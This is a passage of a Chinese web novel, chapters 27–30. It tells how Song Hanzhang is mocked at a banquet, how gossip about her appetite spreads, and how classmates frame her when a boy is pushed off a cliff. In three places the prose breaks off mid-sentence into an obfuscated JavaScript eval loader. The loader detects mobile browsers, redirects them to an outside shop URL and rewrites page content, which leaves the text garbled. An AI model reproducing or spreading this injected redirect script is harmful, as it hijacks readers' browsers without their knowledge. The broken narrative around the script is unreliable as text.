可是宋含章呢,如同无事之人。背上疼着,屁股肿着,脸上还带着昨夜没洗净的黑灰,她趴在床上,手里翻着那本破旧的古籍,嘴里念念有词,眉头微微皱着,还在全神贯注地想着到底是哪里出了问题 27. 左眼右眼的星子,在假山相遇 青山书院里,宋含章和霍凌霜在时,余老先生觉得两人太闹腾,像两只不知疲倦的斗鸡,成天搅得西院鸡飞狗跳,经常气得牙痒痒,戒尺都不知打断了几根。 可是,两人不在,他反倒有些不习惯了——学堂里太安静了,安静得让人心里发慌。那朗朗的读书声依旧,可总觉得缺了点什么,仿佛一幅画少了一抹最扎眼的颜色,一碗汤少了一撮最辣人的胡椒。 他会下意识地抬头往宋含章常坐的那个角落看去,看到空空的座位,才想起她还在家养伤,便又摇摇头,自嘲地笑了笑,继续低头讲他的《诫子书》。 当挨打成为家常便饭,突然有一天不被打了,那是十分不习惯的。这不,曾思雨他们竟然念起大混世魔王和小混世魔王来。 曾思雨坐在学堂里,托着腮,望着宋含章那个空了大半个月的座位,叹了一口气说,没了宋含章,书院里都没人能让我翻白眼了。 顾承泽难得地没有反驳——他摸了摸自己那颗还在隐隐作痛的牙齿,心里想的是,她不在,也没人把咱们扔树上了,可也没人替咱们挡惊马了。 钟荀彧在一旁低头翻书,没有说话,可他也发现,自己已经好久没有在午休时偷偷跟去后山看她吃饼了。 那种复杂的心情,这些半大的孩子自己也说不清——他们曾经那样嘲笑她、排挤她,可如今她不在,他们又觉得身边好像空了什么。 就像院子里少了一棵虽然扎人却已经看惯了的树,风平浪静了,反倒觉得这院子不是原来的院子了。 日月交替,当宋含章和霍凌霜的伤终于好全,已是半个月后。两人几乎是同时拆了纱布,同时下了床,同时站在了院子里深吸了一口久违的、没有药味的空气。 已接近初夏,京城的花事却依旧未了,海棠未谢,杏花正盛,枝头的繁花一层叠着一层,像是要把春天最后的热闹全都挥霍干净。 是日,天空如同被水洗过一般,澄澈明亮,蓝得像一块上好的琉璃瓦。几缕白云在天际飘着,像是神仙不经意间甩下的几笔留白。 沈府里张灯结彩,红绸从门头垂到阶下,正逢沈老夫人五十岁寿辰。虽然沈府这些年已在走下坡路——沈镇在朝中碌碌无为,既无政绩也无建树,沈家的门庭靠的是祖上积攒的荫封,如今已显出了几分捉襟见肘的窘迫——但沈国公忠贞的名声还在,瘦死的骆驼比马大,朝中念着沈家祖上功劳的人不在少数,前来祝寿的人依然颇多。 沈府大院里摆满了寿礼,宾客穿梭其间,互相寒暄着,热闹异常。 太皇太后与皇上派人送来了寿礼——一对玉如意,一尊鎏金寿星,由太监总管德顺亲自送到府上,算是给足了沈家面子。 京城的达官贵人也纷纷献上寿礼,一时间沈府门前车水马龙,锦衣华服的宾客络绎不绝,礼单登记处忙得不可开交。 作为亲家,宋四维与宋夫人领着五个孩子登门祝寿。 当宋四维、宋夫人他们一家踏入沈府时,院里宾客们的目光不由得被吸引了过去。宋四维一身靛蓝儒袍,身姿挺拔如松,虽已年过四十,那份沉淀下来的儒雅反而比年轻时更添了几分韵味;宋夫人一袭藕荷色罗裙,虽已生过五个孩子,风韵犹存,举手投足间皆是端庄气度,风华难掩。 两人年轻时,相貌在京城是出了名的——一个是玉树临风的翰林学士,一个是风华绝代的大家闺秀,无论是皮相还是骨相,都是万里挑一的顶级。 他们的五个孩子,除了宋含章,其他四个都完美继承了夫妻二人优良的相貌基因,个个生得眉目如画,如同从画里走出来的仙童玉女。 大家的目光落在宋行简、宋玉章、宋清扬和宋引章身上时,无人不惊叹。宋行简一身青色长衫,骨相极好,眉眼间既有宋四维的儒雅又有宋夫人的俊秀,那份从容沉稳的气度,已经隐隐有了其父之风。 宋玉章一袭淡粉罗裙,眉如远山,目若秋水,温婉端庄得如同一朵含苞待放的芙蓉,所过之处,不少少年郎的目光都悄悄追了过去。 宋清扬和宋引章一个活泼一个乖巧,两个小家伙长得粉雕玉琢,连沈府的丫鬟们都忍不住多看了几眼,私下里议论着宋家这俩孩子长大了怕是比大的还好看。宾客们交头接耳,说这宋家人站在一起,简直像是把一整个春天都带进了沈府的院子里。 当大家把目光移到宋含章身上时,所有人的眼神都变了。有的捂嘴,有的摇头,有的交换了一个意味深长的眼神。 宋含章今日穿了一件红色的交领襦裙,料子是好料子,裁剪也合身,可穿在她身上,却更衬得她又胖又壮,圆滚滚的像一颗裹了红绸的球。大家都因为她的体型而忽略了那一张五官极好的脸——眉眼分明,鼻梁挺直,皮肤白又光滑紧致。 一些见不得宋夫人好的妇人们,躲在角落里窃窃私语,拿扇子掩着嘴低声说着风凉话:“总不能什么好事都轮到她吧,五个孩子四个天仙,总得有一个混世魔王来气她,才算公道。”说罢便是一阵低低的、带着幸灾乐祸的笑声。 宋含章才不在意大家的目光呢。她从小到大被看的还少吗?那些嫌弃的、嘲讽的、怜悯的目光,她早就看腻了,也看淡了。 她昂着头,迈着大步,走得虎虎生风,那件红裙子在她身上穿出了几分铠甲的气势。 宋夫人拉着她,一路穿过人群,去给沈老夫人磕头祝寿。她也不扭捏,大大方方地跪下,规规矩矩地磕了三个头,嘴里说着“祝老夫人福如东海、寿比南山”,声音洪亮,毫不怯场。 沈老夫人见了她,喜欢得不得了。她坐在寿堂正中的太师椅上,满头银发梳得一丝不苟,精神矍铄,一双阅尽世事的眼睛在看到宋含章时亮了起来。 她伸出布满皱纹的手,直接把宋含章拉到怀里,将早就准备好的糕点递到她手里,慈爱地说道:“好孩子,多吃些。祖母特意让人备了你爱吃的桂花糕和豆沙饼。”宋含章双手接过,眼睛亮了一下,规规矩矩地道了谢,然后便捧着糕点盒退到了一旁。 一旁的沈十安见了,心里十分不舒服。他穿着今日特意新做的锦袍,本该是自己的高光时刻,此刻却阴沉着脸,眉头皱得能夹死一只苍蝇。祖母对宋含章越好,他就越觉得刺眼——到底谁才是沈家的亲孙子? 沈夫人站在不远处,看着宋含章那圆滚滚的身形,嫌弃的目光几乎要从眼底溢出来。她手里的帕子绞得紧紧的,心里恨恨地想着:这样的肥姑娘,怎么配得上我儿十安?等以后进了沈家门,她定要好好立一立婆母的规矩,让她知道什么叫天高地厚。可她也只敢在心里想想——沈老夫人还坐在上面呢,这府里还轮不到她做主。 宋含章才没有管未来婆母那藏不住的嫌弃呢。她与沈老夫人打过招呼后,便提着手里的点心盒,穿过人群,来到了沈府花园的假山后面。这假山造得精巧,太湖石叠成的山洞里透着斑驳的阳光,石缝里还长着几株野兰,是个难得的清静之地。 她寻了一块平整的大石头,一屁股坐下来,打开盒子,拈起一块桂花糕塞进嘴里,腮帮子立刻鼓了起来。满堂宾客的喧哗声被假山隔在了外面,这里只有她自己和满盒子的点心,舒坦。 世间之事,有些是巧合,有些则是冥冥中的安排。 人是吃五谷杂粮的,加上年纪大了,有个头痛脑热再正常不过。因为顾老夫人身体不适,偶感风寒,顾大夫人与顾二夫人需要留在府中床前尽孝,脱不开身。所以,来给沈老夫人祝寿这件事,便落在了顾承宇身上。 顾承宇本可以礼到人不到,可沈家与顾家也有几代交情,他父亲不在京城,他作为宁安侯府的世子,不能不露面。于是一身黑色劲装的他,带着贺礼踏进了沈府,与沈老夫人客套了几句,递上了礼单,便不再参与那些热闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾承宇瞧见宋含章那圆圆的脸和圆滚滚的身体,当真是与传说中的一模一样——那个做木鸢飞上天的,那个抓蛇吃蛇胆的,那个被马踩了还在问老马有没有事的…… 他想起妹妹子衿说起她时那心疼的语气,想起宋行简说她“一身正气”,想起洪楚离那些刻薄的嘲笑,又想起方才宴席上那些人落在她身上的目光。 他的目光在她嘴角那碎屑上停了片刻,把手里的那块点心放回她手中的盒子里,然后伸手从怀中掏出一块手帕,递到她面前。 那是一方素白的手帕,质地柔软却并不精致,边角处只绣了一个“宇”字。那针脚歪歪扭扭的,像一条喝醉了酒的小蛇,看得出是初学者的手笔——既不是绣娘代劳,也没有描样,而是有人一针一针笨拙地刺上去的。 那是顾子衿六岁时学了三天绣活,兴冲冲地给他绣的,说是“哥哥以后用帕子的时候就能想起我”。他这些年一直贴身带着,从京城带到西疆,又从西疆带回京城,帕子的边角已经磨得有些起毛,那个歪歪扭扭的“宇”字也被洗得微微褪了色,可他从未换过。 此刻,他把这块帕子递到了一个初次见面的胖姑娘面前。 宋含章低头看了看那块帕子,伸手接了过来,胡乱地在嘴上抹了一把,然后大大方方地说了一句:“谢谢。” 顾承宇嘴角微微扬起,那笑容极淡,像一阵风,来去都没有痕迹。他没有再说什么,转身便绕过假山离开了。 宋含章低头看了看手里的帕子,翻来覆去瞅了两眼,瞧见角落那个歪歪扭扭的“宇”字,觉得这针脚真不怎么样,比子衿的手艺差远了。她也没多想,把帕子往袖子里一塞,低头继续吃她的点心。 假山的阴影落在她身上,遮住了正午灼热的日光,她一个人坐在那块大石头上,吃得不紧不慢,自在得很。 花园那边传来丝竹声和宾客的喧哗,而她这里,只有鸟鸣和风穿过假山石缝的声音,还有嘴里桂花糕那甜丝丝的滋味。 28. 最后的体面被撕碎,宋含章怒火中烧 初夏降临,虽然空气中还残留着暮春的余味——那微微润湿的花香和偶尔拂面的暖风,但漫山的绿已开始层层叠叠地扑来。 青山书院的观景台上放眼望去,桃林的花事已过,枝头只剩下零星几朵不肯谢去的残红,而满山的翠绿却像泼墨一般,从山脚一路漫到了天际。何为绿肥红瘦,在青山书院一眼便知。 霍凌霜受了一顿鞭子之后,放弃了暗中整垮宋含章的想法。那十道鞭痕在后背结成了疤,每次换药时都要疼出一身冷汗,可更让她记忆深刻的,是祖父那句“用下作手段,赢了也是输”。 她要做个堂堂正正的人,就算要和宋含章分个高下,也要光明正大地比。顾承泽被马蹄事件吓破了胆,还欠了宋含章一条命,也不敢再参与那些见不得光的勾当。 可是,曾思雨、沈十安、顾子佩、钟荀彧却没有打算放弃。在他们心里,宋含章的存在本身就是一种冒犯——一个胖成那样的姑娘,一个敢打敢闹的混世魔王,凭什么能得到祖母的偏爱,凭什么能让全京城的人又怕又敬,凭什么被马踩了还能活蹦乱跳? 他们表面上答应霍凌霜和顾承泽,说不会暗中整宋含章。曾思雨甚至还当着霍凌霜的面发了个誓,说“我要是再整她,我就是王八”。 可是暗地里,他们却偷偷聚在一起,按照霍凌霜之前设计好却未实施的计划,把每一步都细细地布置好——在哪里的茶水里下泻药引开碍事的人,在哪里设置陷阱,等宋含章来钻。 这一次,他们一定要把宋含章的老底都扒出来,让宋含章在全书院面前丢尽颜面,让她再也抬不起头,灰溜溜地滚出青山书院。 而沈十安不仅希望宋含章滚出青山书院,还希望她滚出京城,最好永远消失,这样他以后就不用娶宋含章了。他甚至私下对曾思雨说:“只要能让宋含章离开京城,让我干什么都行。” 这一日中午,京城那一个专门说京城轶事的茶馆里,早已座无虚席,连门口都挤满了踮着脚尖伸长脖子的人。 这些人里有闲来无事的富户,有刚从城外进城的行商,有挎着菜篮子的妇人,也有特意从别的茶馆赶过来抢位置的老茶客。 他们都在竖起耳朵,等待说书先生开口。只见说书先生捋了捋黑色的胡须,呷了一口茶润嗓,惊堂木“啪”地一拍,震得满堂寂静。 他拿起早就准备好的说辞,又开始唾沫横飞,讲述着宋含章饭量大一事。他说宋含章在书院饭堂里假装吃得斯文,背地里却躲到后山,一口能吞下三个比她脸还大的饼,那饼子撕开来比人脸还宽,她三口就吞完,连渣都不剩;又说她的胃口能吞下一头牛,一顿饭能吃五斤米饭,宋家的厨房每天都得专门给她备着一口锅。 说书先生越说越离谱,越说越悬乎,还配上了夸张的手势和瞪圆的眼睛,把茶客们听得一惊一乍,有人拊掌大笑,有人啧啧称奇。 不久,宋含章饭量大一事,又如同长了翅膀一般传遍了京城的每一个角落。从茶馆传到了酒楼,从酒楼传到了深宅大院的后院,又从后院传到了街头的烧饼摊。 人们在街头巷尾议论纷纷,有嘲笑者说“宋家二姑娘果然是个饭桶,怪不得长那么胖”,有好事者说“这回她最后的体面都没了,看她怎么见人”,也有心软者轻轻摇头叹息说“一个女娃娃被人这样说道,也太难堪了”。 那最后的体面——那个她小心翼翼地藏了那么久、连在书院饭堂里都不敢多吃的秘密,终于还是被人知晓,被人拿出来说道,传遍了整个京城。她曾经以为,只要自己藏得够好,只要自己在人前小口小口地吃饭,就不会有人知道她有多能吃。 可如今,这最后的一层遮羞布也被扯了下来,成了全京城人茶余饭后的谈资,成了他们嘴里的笑话。早已习惯流言的宋含章,这一次却愤怒极了。 以前的嘲笑,是笑她胖、笑她粗鲁、笑她嫁不出去,她可以不在乎——那些本来就是她,她认。可这一次,他们嘲笑的是她藏起来的秘密,是她小心翼翼捂着的最后一点自尊。 她站在院子里,一拳一拳地打在院中那棵老槐树上。每一拳都带着全身的力气,每一拳都震得树上的叶子簌簌落下,落在她的肩头,落在地上。 她的拳头破了皮,血顺着树皮的纹路往下淌,可她不觉得疼。那疼痛在胸口更深处,在她说不清道不明的地方,像有人拿钝刀一下一下地割着。 宋夫人坐在自己的房间里,叹了一口气又一口气,不言不语。那叹息里有深深的心疼,也有深深的无力——她能怎么办呢?难道真的让她吃不饱饭吗? 春夏瞧着宋含章那不断挥舞的拳头,瞧着那树皮上洇开的血迹,终于忍不住了。她冲上前去,用自己圆滚滚的身体堵在宋含章与老槐树之间,双手死死抓住宋含章的手腕,哭着说:“姑娘,你不该这样伤害自己!你为何要用别人的恶言来惩罚自己?那些话是刀子,你接住了,伤的是你自己啊!” 宋含章看着春夏被泪水糊满的脸,看着自己那满是鲜血的拳头,停了手。她的胸口剧烈地起伏着,眼中有泪光在打转,却硬是没有掉下来。她没有哭——宋含章从来不哭。可她的呼吸粗重得像一头被困住的野兽,每一口都带着滚烫的怒气。 还在告假的宋含章,转身走进了屋里。春夏以为她要坐下歇一歇,可她拿起来的是一根棍棒。那棍棒是肖朗之前削给她练武用的,握在手里沉甸甸的。她提着棍棒,二话不说就冲出了宋府,脚步快得像一阵狂风。 春夏追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618708|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在后面,跑得气喘吁吁,可跟到一半,她忽然调头,朝宋府跑了回去——她必须去找人,她家姑娘这个样子,会出大事的。 宋含章来到了那家茶馆。她站在茶馆门口,手中的棍棒紧紧握着,眼中的怒火几乎要把那面茶旗烧穿。茶馆里说书先生正讲到精彩处,茶客们正听到兴头上。 她抬起脚,一脚踹飞了茶馆大门,门板应声飞了出去,砸在了一张空桌上。 茶客们被这突如其来的动静吓得纷纷回头,然后便看到了那个传说中“一口能吃三个大饼”的胖姑娘,手里提着一根棍棒,眼珠子发红,浑身上下都散发着要把这茶馆拆了的杀气。 茶客们见之,纷纷丢下茶杯瓜子逃离,有的从正门挤出去,有的直接从窗户翻了出去,有个胆小的被门槛绊倒,爬起来连鞋都顾不上捡,光着一只脚跑出了茶馆。 说书先生看到怒火中烧的宋含章,吓得脸上的血色一瞬间褪得干干净净,浑身直哆嗦,赶紧从说书台上滚下来,想躲进人群里溜走。 可茶客们都跑了,他无处可藏,只得蜷缩在一个角落,缩着头,恨不得把自己塞进墙缝里。 宋含章一眼便看到了他——就是那张嘴,就是那个唾沫横飞的人,把她的秘密传遍了京城。她冲到说书先生面前,一脚将他踹翻在地,然后举起棍子便朝着说书先生招呼而去。那棍子落在他的背上、肩上、胳膊上,每一下都带着她积攒了一路的怒火。 说书先生被打得鼻青脸肿,蜷缩在地上护着头,躲又躲不掉,只能大声哀嚎,大声求饶,声音都变了调:“姑娘饶命——姑娘饶命——老朽再也不敢了——” 宋含章停下手,一脚踩在说书先生的胸口上,微微俯身,居高临下地瞪着他。她的声音不大,却像淬了火一般,每一个字都滚烫得让人不敢撒谎:“你是从哪里听说姑奶奶能吃的?如果你不说,姑奶奶今天就打死你。” 全身疼痛的说书先生被踩得喘不过气来,胸口像压了一块巨石,脸色憋得发紫,连忙颤声说道:“是……是钟荀彧……钟家公子告诉老朽的。他说是亲眼所见,还让老朽说得越夸张越好,说茶客们就爱听这个……” 宋含章听了,弯腰一把抓起说书先生的衣领,将他整个人提了起来,大步走到茶馆门口,双臂一甩,将他扔了出去。说书先生在空中的惨叫声拖了老长,然后砰的一声,落在了对面酒楼的屋顶上,瓦片哗啦啦碎了一大片,他趴在屋脊上抱着瓦片瑟瑟发抖,再也不敢动弹。 随后,眼睛发红的宋含章转过身,朝着青山书院的方向疾驰而去。她心里只有一个念头——找钟荀彧算账。那家伙平日里笑话她就算了,这次竟然把她藏得最深的秘密拿出去当谈资,把她最后的体面都扯了下来! 29. 钟荀彧掉下悬崖,宋含章被误会 春夏气喘吁吁地跑回宋府,直奔宋夫人的院子。她跑得鞋都掉了一只,也顾不上捡,一进门便上气不接下气地把宋含章提着棍棒冲出去的事告诉了宋夫人。 宋夫人听了,闭上了眼睛,脸上的血色一点点褪去。她知晓,女儿最后的体面也被撕碎了,被全京城的人知晓了。知女莫如母——她知道,她那个倔脾气的女儿绝不会善罢甘休。她立马叫来肖朗,让他去阻止宋含章。肖朗二话不说,提剑便冲出了宋府,春夏光着一只脚跟在后面,两人一路疾奔。 可是,他们来晚了一步。茶馆里一片狼藉,桌椅东倒西歪,茶碗碎了一地,茶水和茶叶泼得到处都是,连那面说书台上的布帘都被扯了下来。路边上,说书先生一身伤痕、有气无力地躺在地上,正被闻讯赶来的伙计从地上扶起来,鼻青脸肿得几乎认不出原来的模样。 肖朗环顾四周,没有看到宋含章的影子,心中咯噔一下——她去了书院。 青山书院里,曾思雨早就料定宋含章会来找钟荀彧。一切都在她的计划之中——说书先生是她去找的,那些添油加醋的话也是她让说书的先生说的,还让说书先生告诉宋含章一切都是钟荀彧传出来的。 此刻,她偷偷在余老先生和顾承泽的茶里下了泻药,剂量不小。余老先生喝了茶,刚讲完一段课,腹中便一阵翻江倒海,匆匆往茅房跑;顾承泽也是一样的症状,捂着肚子连话都说不出来就跑了出去。 两人刚离开茅房没几步,肚子又开始咕噜噜地叫,又赶紧转身返回。如此循环往复,两个人几乎离不开茅房附近,哪里还有精力管学堂里的动静。而沈十安则被她派去书院门口望风,盯着宋含章是否到来。 沈十安躲在书院门口那棵大榕树后面,露出半个脑袋,死死盯着书院外的方向。 当他发现宋含章那圆滚滚的身影如同一阵疾风般朝着书院席卷而来时,他心头一紧,撒腿就跑进书院,跑到后山气喘吁吁地对曾思雨说:“来了……她来了……那样子像是要吃人。” 曾思雨一听,立刻和顾子佩带着钟荀彧来到后山事先设置好的陷阱处。那是一处靠近悬崖的空地,地势险要,旁边便是深不见底的崖谷,常年云雾缭绕。 宋含章如同一阵疾风般冲进书院西院,却发现西院空无一人——学生们都被曾思雨找借口支开了。她抬头看了看天,那双发红的眼睛在阳光下闪着危险的光。她想着这个时辰,钟荀彧他们一定在后山玩耍,便朝着后山席卷而去。 宋含章来到后山的悬崖边。曾思雨、钟荀彧、沈十安、顾子佩果然在这里——四个人看似在玩耍,实则早已严阵以待,目光彼此交会,交换着只有他们自己才懂的信号。 四人看到宋含章那怒火中烧的模样,下意识地往后退了一步,准备跑开。 可宋含章眼疾手快,一把就抓住了钟荀彧的后领,将他整个人拽了回来,然后拳头和脚便如同雨点般落了下来。每一拳都带着她在茶馆里没发泄完的怒火,每一脚都带着她积压了一整天的愤怒。 钟荀彧被这突如其来的暴打打得晕头转向,脸上、身上、胳膊上都在疼,他还不明白宋含章为何要打他。他张嘴想问原因,宋含章的拳头立马又挥了过来,把他的问话和惨叫声一起砸回了喉咙里。 曾思雨用眼神示意了一下沈十安,沈十安立马会意,悄悄从混乱中抽身,朝着东院的方向拔腿跑去。他跑得比任何一次体训都快,连鞋子都差点跑掉了一只。 钟荀彧被宋含章打得嚎啕大哭。他想跑,可宋含章的手像铁钳一样牢牢抓着他,跑不掉;他想问为什么,但宋含章的拳脚不给他开口的机会,每次张嘴换来的都是更重的拳头。 曾思雨和顾子佩在一旁假装拉架,嘴里喊着“含章别打了”“含章有话好好说”,手却只是虚虚地搭在宋含章的胳膊上,根本没有用力——甚至,曾思雨还在别人看不到的角度微微弯了弯嘴角。 沈十安跑到东院,气喘吁吁地冲进王谦山长的房间,声音里满是刻意夸大的惊恐:“山长——不、不好了——宋含章在后山快把钟荀彧打死了!真的要出人命了!” 王谦山长听了,霍然起身,搁下手中的书卷,快步朝后山赶去。王修安、宋行简、程国恩、方继志等人听了,也紧紧跟随。 宋行简的脸色尤其难看,脚下的步伐比任何人都快——他不敢相信自己的妹妹会做出这样的事,可沈十安那惊恐的表情又不像是装的。 宋含章还在愤怒之中,她的拳头如同巨石一样落在钟荀彧身上,钟荀彧已经口鼻流血。 曾思雨和顾子佩还在旁边假装拉架,一边嘴上喊着“含章住手”,一边用余光紧紧盯着王谦山长来的方向。 当她终于看到王谦山长一行人出现在后山小径上时,她趁着宋含章还沉浸在怒火之中,趁着她背对着悬崖的那一刻,从暗处伸出手,狠狠地推了一把钟荀彧。 那一推又急又狠,快得几乎没人看清。然后她迅速后退几步,离得远远的,顾子佩也跟着退开,两人同时换上了一副被吓坏了的表情。 钟荀彧原本就被打得站不稳了,被这冷不丁的一推,整个人一个不稳,踉跄了两步,便朝着悬崖下坠去。 他的惨叫声划破了山间的寂静,身体消失在崖边的云雾里,只留下几声越来越远的、凄厉的回响。 宋含章见了,瞳孔猛地一缩,赶紧伸手去拉——她的手指碰到了钟荀彧的衣袖,却终究慢了一瞬,那截袖子从她指尖滑了过去,什么也没抓住。她的手还保持着伸出去的姿势,停在半空中,整个人僵在了那里。 与此同时,王谦山长等人正好赶到,肖朗和春夏也从另一条路气喘吁吁地跑到了现场。 所有人都看见了宋含章伸出的那只手——那个动作,从背后看去,正好就是将人推下悬崖的动作。时间仿佛在这一刻凝固了,所有人都站在原地,难以置信地望着悬崖边那个伸着手的胖姑娘。 宋行简第一个开口,他的声音里满是震惊和愤怒,眼睛发红,几乎是吼出来的:“宋含章!你在干什么!你为何要把他推下悬崖?” 宋含章猛地回过头,看到大哥那张因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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春夏也跑到宋行简的面前说:“大公子,姑娘不是那样的人,我们不能冤枉了她。” 曾思雨的声音立刻拔高了几度,那声音又尖又利,带着一种十岁女孩不该有的狠劲:“你休要为她辩解!大家都看见了!山长看见了,先生们看见了,行简大哥们也看见了——她那只手伸出去,就是把钟荀彧推下去的!人赃俱获,你还狡辩什么?” 宋行简转头看向曾思雨,又看向顾子佩。两个女孩子都点了头,动作整齐得像是排练过。顾子佩的脸上甚至挂着几滴眼泪,声音发颤地说:“是宋含章推的……我们亲眼看见的……” 沈十安也附和道。 宋含章站在原地,风吹着她凌乱的头发,吹着她沾了血迹的衣襟。她的目光从曾思雨脸上扫过,从顾子佩脸上扫过,从沈十安脸上扫过,最后落在了大哥那双充满了怀疑和痛心的眼睛里。 她看着曾思雨那微微上扬的嘴角和眼角那一闪而过的得意,看着顾子佩假装害怕却忍不住偷偷瞟向曾思雨的眼神,看着沈十安躲在人群后面那张幸灾乐祸的脸,又看了看自己那只什么都没有抓住的手。 忽然之间,什么都明白了——这是一环套一环的圈套,从说书先生的唾沫横飞,到钟荀彧的坠崖,到山长刚好赶到,每一步都是算好的。 而她,从头到尾,都在按照他们设计好的路走。那个藏在暗处的推手,在她没有察觉的时候已经推了一把,而所有的人都只看到了她伸出去的手。 30. 钟荀彧生命垂危,宋含章危险 钟荀彧从高高的悬崖坠落,身体穿过层层云雾和交错的山藤,最后落入了山谷深处的一处深潭。 万幸的是,潭水缓冲了下坠的力道,让他没有当场粉身碎骨。他的上半身被一根从石缝里斜伸出来的粗壮树枝挂住,整个人半悬在潭水之上,满头是血,那血还在从额角的伤口不断涌出,顺着脸颊淌过紧闭的眼皮,顺着身体一滴一滴落入潭水。 下半身浸在冰冷的潭水之中,被山间的寒气浸得发白。周围的潭水已被染红,那红色在碧绿的潭面上缓缓扩散,像一朵无声绽放的血色花,触目惊心。 王修安、洪楚离等人循着山谷底部一路拨开灌木和荆棘,呼喊声在山谷间回荡,却只听见自己的回声。 他们沿着溪流的方向搜寻,衣服被荆棘划破,手臂上全是细密的血痕,脚下湿滑的青苔让人每一步都要小心翼翼,可没有人放慢脚步。 最后,终于在水潭边发现了钟荀彧。那一刻所有人都倒吸了一口凉气——那个平日里锦衣玉食、嘴碎又骄纵的户部尚书公子,此刻像一具破碎的木偶般挂在树枝上,一动不动。 王修安快步冲过去,踏进冰冷的潭水,水花溅了他一身,他一把将钟荀彧从树枝上捞起来,抱在怀里。十一岁少年冰得让人心慌,软塌塌地靠在他胸口。 此时的钟荀彧只有出的气,已经没有进的气——那呼吸又浅又急。王修安和洪楚离等人不敢耽搁,抬着钟荀彧跌跌撞撞地往回赶,一路小跑,谁都没有说话,只听见急促的脚步声和压抑的喘息。 书院里,宋含章站在大院中央,一动不动。她的脊背挺得笔直,双手垂在身侧,沾血的拳头紧紧攥着,眸子沉静如水,没有躲闪也没有慌张。 阳光把她圆滚滚的影子投在青砖地上,孤零零的。春夏站在她身边,那一只跑掉了鞋的脚光着踩在粗糙的青石板上,脚底被路上的碎石划出了好几道口子,全是血,脚趾缝里嵌着泥沙,她却浑然不觉,只是死死站在自家姑娘身边,像一棵与大风对峙的小树。 她不知道该怎么做才能帮到姑娘,她只知道,姑娘在哪里,她就站在那里。 王谦山长站在廊下,心急如焚,双手负在身后紧紧攥在一起。他一生教书育人,见过顽劣的,见过聪慧的,见过各式各样的孩子,可一个孩子被推下悬崖——这样的事,在青山书院百年历史上闻所未闻。 他的目光掠过院中那个站得笔直的胖姑娘,心里翻涌着愤怒、失望和一种说不清道不明的怀疑。 宋行简、肖朗和程国恩在院子里来回踱步,三人的脚步一前一后、一快一慢,把心里的焦躁全踩在了青砖地上。 宋行简的额头上全是冷汗,他在祈求钟荀彧无事。如果有事,凭借钟廷在朝中的权力——他是户部尚书,手握天下钱粮,连方丞相都要给他三分薄面——宋含章是必死无疑了,宋家必定会被连累。 他看了一眼站在院中的妹妹,她居然还昂着头,居然还敢说自己是被算计的。他忽然感到一阵无力,那种无力是愤怒烧尽了之后留下的灰烬。 书院里的郎中已在院中等候多时,药箱敞开着,里面的金疮药、银针、止血散一应俱全。可他等的这个人,是从悬崖上摔下去的,他心里也没有底。 曾思雨、顾子佩、沈十安三人站在一旁。他们的脸上挂着担忧的神色,眉头微微蹙着,那模样任谁看了都会觉得这三个孩子在为同窗担心。 曾思雨甚至还用袖子擦了擦眼角,仿佛在忍泪。可是,这担忧之下,藏着的是另一番心绪——他们的计划成功了,宋含章这一次跳进黄河也洗不清。虽然事情比他们预想的要严重一些,但只要钟荀彧死不了就行——反正山崖下有个水潭,他们去踩过点,摔下去顶多断条腿,不会死人的。 此时的余老先生和顾承泽已经虚脱了。那一壶泻药茶威力惊人,两人被折磨得浑身无力,双腿发软,像两条被掏空了内脏的布袋,虚弱无比地躺在茅房一侧的草地上,脸色惨白,嘴唇发干,连抬手的力气都没有。 阳光晒在他们身上,他们连挪到阴凉处的力气都使不出来,对钟荀彧坠崖一事毫不知情。余老先生闭着眼睛,还在想着这腹泻怎么来得如此突然如此猛烈,是不是食堂的饭菜出了问题。 良久——仿佛过了一整天那么久——满身是血、气息奄奄的钟荀彧被王修安他们抬回了书院。 担架是用两根木棍和几件外衫临时绑成的,血水顺着布料的缝隙滴落了一路。王修安的前襟已经被血浸透,洪楚离的手臂上也全是擦伤,两人都顾不上。 全部人都围了上去,看到钟荀彧那张毫无血色的脸和额头上触目惊心的伤口时,所有人都忧心不已,有人倒吸一口凉气,有人捂住了嘴,有人下意识地后退了半步。 曾思雨、顾子佩和沈十安看到钟荀彧那快要死的模样,心里咯噔一声,脊背一阵发凉。他们相视一眼,目光里终于透出了一丝真正的慌乱——这和他们预料的不一样。 水潭呢?树枝呢?他们明明去看过,那水潭深得很,从崖上摔下去会被水接住,顶多受点惊吓,怎么会满头是血?可他们不敢流露出太多,迅速收回了视线,强作镇定,把那份恐慌压在了心底。 曾思雨咬了咬嘴唇,把还在擦拭眼角的袖子放了下来——她忽然觉得这出戏不太好演了。 王修安把钟荀彧抱进了东院一间专供休息的偏房里,洪楚离紧随其后,替郎中提着药箱。 郎中立刻着手医治。他伸手摸了摸钟荀彧的脉搏,那脉搏已微弱无比,若有若无,像一根被风吹到极细的丝线,随时都会断开。 他掰开钟荀彧的眼皮,瞳孔已经开始涣散——那是生机正在流失的征兆,他见过太多伤重之人,这样的瞳孔意味着留给他的时间不多了。 郎中倒吸了一口凉气,转头看着王修安,声音急促而低沉,每一个字都像是从牙缝里挤出来的:“快去宫里请林太医,一定要快——骑马去,不要坐车。如果林太医来晚了,人就没有了。” 